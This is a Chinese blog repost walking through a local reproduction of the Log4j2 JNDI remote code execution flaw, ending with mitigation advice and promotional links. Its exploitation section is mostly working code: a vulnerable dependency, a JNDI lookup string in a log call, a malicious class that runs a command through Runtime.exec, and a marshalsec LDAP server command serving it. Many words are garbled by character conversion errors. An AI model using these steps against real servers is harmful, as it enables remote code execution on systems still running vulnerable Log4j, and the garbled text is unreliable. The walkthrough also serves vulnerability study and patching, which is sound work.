乐趣区

关于java:手把手复现了-Log4j2-漏洞太可怕了

起源:blog.csdn.net/qq_40989258/article/details/121862363

0x00 简介

ApacheLog4j2 是一个开源的 Java 日志框架,被宽泛地利用在中间件、开发框架与 Web 利用中。

0x01 破绽概述

该破绽是因为 Apache Log4j2 某些性能存在递归解析性能,未经身份验证的攻击者通过发送特定歹意数据包,可在指标服务器上执行任意代码。

0x02 影响范畴

Apache Log4j 2.x <= 2.15.0-rc1

0x03 环境搭建

创立一个新的 maven 我的项目,并导入 Log4j 的依赖包

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

0x04 破绽利用

1、应用 POC 测试

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {logger.error("${jndi:ldap://localhost:8888/Exploit}");
    }
}

2、编译一歹意类 Exploit.class

首先新建 exp.java,而后编译为 class 文件

class Exploit {
    static {System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {e.printStackTrace();
        }
    }
}
javac exp.java

3、应用 marshalsec-0.0.3-SNAPSHOT-all.jar 本地开启一个 LDAP 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888

4、运行 poc.java,即可拜访歹意类并执行写在其中的 ”calc” 命令

联合一些其它 StrLookup 适当变形,以及配合官网测试用例中脏数据 "?Type=A Type&Name=1100110&Char=!" 可绕过 rc1,RC2 版本对此异样进行了捕捉。

https://github.com/apache/log…

0x05 修复形式

目前,Apache 官网已公布新版本实现破绽修复,倡议用户尽快进行自查,并及时降级至最新版本:

https://github.com/apache/log…

倡议同时采纳如下长期措施进行破绽防备:

1)增加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true;

2)在利用 classpath 下增加 log4j2.component.properties 配置文件,文件内容为 log4j2.formatMsgNoLookups=true;

3)JDK 应用 11.0.1、8u191、7u201、6u211 及以上的高版本;

4)部署应用第三方防火墙产品进行平安防护。

近期热文举荐:

1.1,000+ 道 Java 面试题及答案整顿(2021 最新版)

2. 劲爆!Java 协程要来了。。。

3. 最新!Log4j 2.x 再发版,正式解决核弹级破绽,又要熬夜了。。。

4.Spring Boot 2.6 正式公布,一大波新个性。。

5.《Java 开发手册(嵩山版)》最新公布,速速下载!

感觉不错,别忘了顺手点赞 + 转发哦!

退出移动版